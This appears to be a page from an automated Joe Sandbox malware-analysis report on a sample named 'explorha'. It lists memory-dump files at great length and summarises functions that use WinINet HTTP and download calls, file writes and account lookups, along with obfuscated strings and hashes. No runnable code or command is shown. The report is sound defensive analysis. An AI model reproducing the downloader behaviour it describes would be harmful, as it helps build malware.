Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$4AJS7teoFA==$4AJS7xCZFC =$6f78c5$CgNm5NG2$IJ==$IzE+$Pgf$Qt==$SMs=$Sww=$Szpk$Ef$vq
API String ID: 0-3156036465
Opcode ID: de6c96704072da144f524d16f34b7ae5472542413bfa0f9df697cc98f19aa056
Instruction ID: da401037619ccac9ed3246f3ccd36f8c922d8456643133792bd553a5dd0119f3
Opcode Fuzzy Hash: de6c96704072da144f524d16f34b7ae5472542413bfa0f9df697cc98f19aa056
Instruction Fuzzy Hash: 0172D570A00388DBEF14EF69C9497DE7FB6AF45304F604199E8056B3C2D7759A88CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00AD6160 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00AD6200

Strings

ELNk8G==, xrefs: 00AD6351
CLTk8G==, xrefs: 00AD62A8
NrSd6xKm, xrefs: 00AD621C

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: CLTk8G==$ELNk8G==$NrSd6xKm
API String ID: 1484870144-3685683383
Opcode ID: 0459063ac9565cb3774392bef3bfd35c7fc8dff13292592ceeb7cf87fe341098
Instruction ID: b26849fd7700763ea7b15653362fbeb97574416240e3bae8af8a3c269608af10
Opcode Fuzzy Hash: 0459063ac9565cb3774392bef3bfd35c7fc8dff13292592ceeb7cf87fe341098
Instruction Fuzzy Hash: 5491A4B1A001189BDB28DF24CD85BDDB779EB45304F5045EAE51A97282DB349FC4CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00ADB3FC Relevance: 34.2, APIs: 16, Strings: 3, Instructions: 971networkfileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00ADB447
InternetOpenA.WININET(00B2A13B,00000000,00000000,00000000,00000000), ref: 00ADB45E
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00ADB47E
InternetReadFile.WININET(00000000,00000000,?,?), ref: 00ADB48F
WriteFile.KERNELBASE(?,00000000,?,?,00000000), ref: 00ADB4B2
InternetReadFile.WININET(00000000,00000000,?,?), ref: 00ADB4BE
InternetCloseHandle.WININET(?), ref: 00ADB4D9
InternetCloseHandle.WININET(00000000), ref: 00ADB4DC
InternetOpenW.WININET(00B2AD34,00000000,00000000,00000000,00000000,48F964E0), ref: 00ADB6ED
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00ADB710
HttpOpenRequestA.WININET(?,00000000), ref: 00ADB75B
HttpSendRequestA.WININET(?,00000000), ref: 00ADB81B
InternetReadFile.WININET(?,?,000003FF,?), ref: 00ADB8CD
InternetCloseHandle.WININET(?), ref: 00ADB9A7
InternetCloseHandle.WININET(?), ref: 00ADB9AF
InternetCloseHandle.WININET(?), ref: 00ADB9B7

Strings

4AJS7xCZFC =, xrefs: 00ADBC85
Nx1LPq==, xrefs: 00ADB733
4AJS7teoFA==, xrefs: 00ADBBEB, 00ADBE43

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$Read$HttpRequest$ConnectCreateSendWrite
String ID: 4AJS7teoFA==$4AJS7xCZFC =$Nx1LPq==
API String ID: 3507382154-3681961738
Opcode ID: f440778340ccf5e1d6a35542476c6a8a599eb8603c5f5fbd10161867aa7934f5
Instruction ID: 83d7e1fafbe853c297b0df6079cfc701062d12354ad9952093acdd8d518dd9ae
Opcode Fuzzy Hash: f440778340ccf5e1d6a35542476c6a8a599eb8603c5f5fbd10161867aa7934f5
Instruction Fuzzy Hash: 857203B1A10208DBEF18DF28CD85BDEBBB5EF45304F504159E81AA73D1DB359A80CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00AE32FE Relevance: 26.6, APIs: 5, Strings: 10, Instructions: 354
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetReadFile.WININET(00000000,?,?,?), ref: 00AE34E2
InternetCloseHandle.WININET(?), ref: 00AE34EE
InternetCloseHandle.WININET(?), ref: 00AE34F3
InternetCloseHandle.WININET(?), ref: 00AE3502
InternetCloseHandle.WININET(?), ref: 00AE3507

Strings

246122658369, xrefs: 00AE3583, 00AE35E4
Szpk, xrefs: 00AE3DE9
RVTc, xrefs: 00AE3FD0
5120, xrefs: 00AE3CCF, 00AE3DBA
SMs=, xrefs: 00AE3569
Sww=, xrefs: 00AE35CA
SQ d, xrefs: 00AE3CFE
Drkj, xrefs: 00AE399F
4AJS7teoFA==, xrefs: 00AE334C
Bp==, xrefs: 00AE38AE

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileRead
String ID: 246122658369$4AJS7teoFA==$5120$Bp==$Drkj$RVTc$SMs=$SQ d$Sww=$Szpk
API String ID: 1486478399-781969927
Opcode ID: 1a7a5f7be218f121d5d39abb0b1f73d0ebb57b7c99394b949a3acea112020479
Instruction ID: 1903ed19b7ce018b04c4b536141d4b42464d0cee93920ee7884e5749427de122
Opcode Fuzzy Hash: 1a7a5f7be218f121d5d39abb0b1f73d0ebb57b7c99394b949a3acea112020479
Instruction Fuzzy Hash: 29C106B2A00284ABEF18EF79CD4A79D7BB19F85304F608158F445A73D2DB359B84C791

Uniqueness

Uniqueness Score: -1.00%

Function 00ADDE9B Relevance: 18.8, APIs: 3, Strings: 7, Instructions: 1308COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00ADE364

Strings

6fxmTwZm, xrefs: 00ADE697
246122658369, xrefs: 00ADF057, 00ADF334
RQ, xrefs: 00ADE3F1
Sww=, xrefs: 00ADF03D, 00ADF31A
111, xrefs: 00ADF0C0
IzE+, xrefs: 00ADE034
Qt==, xrefs: 00ADE322, 00ADE454, 00ADE569, 00ADE79F

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
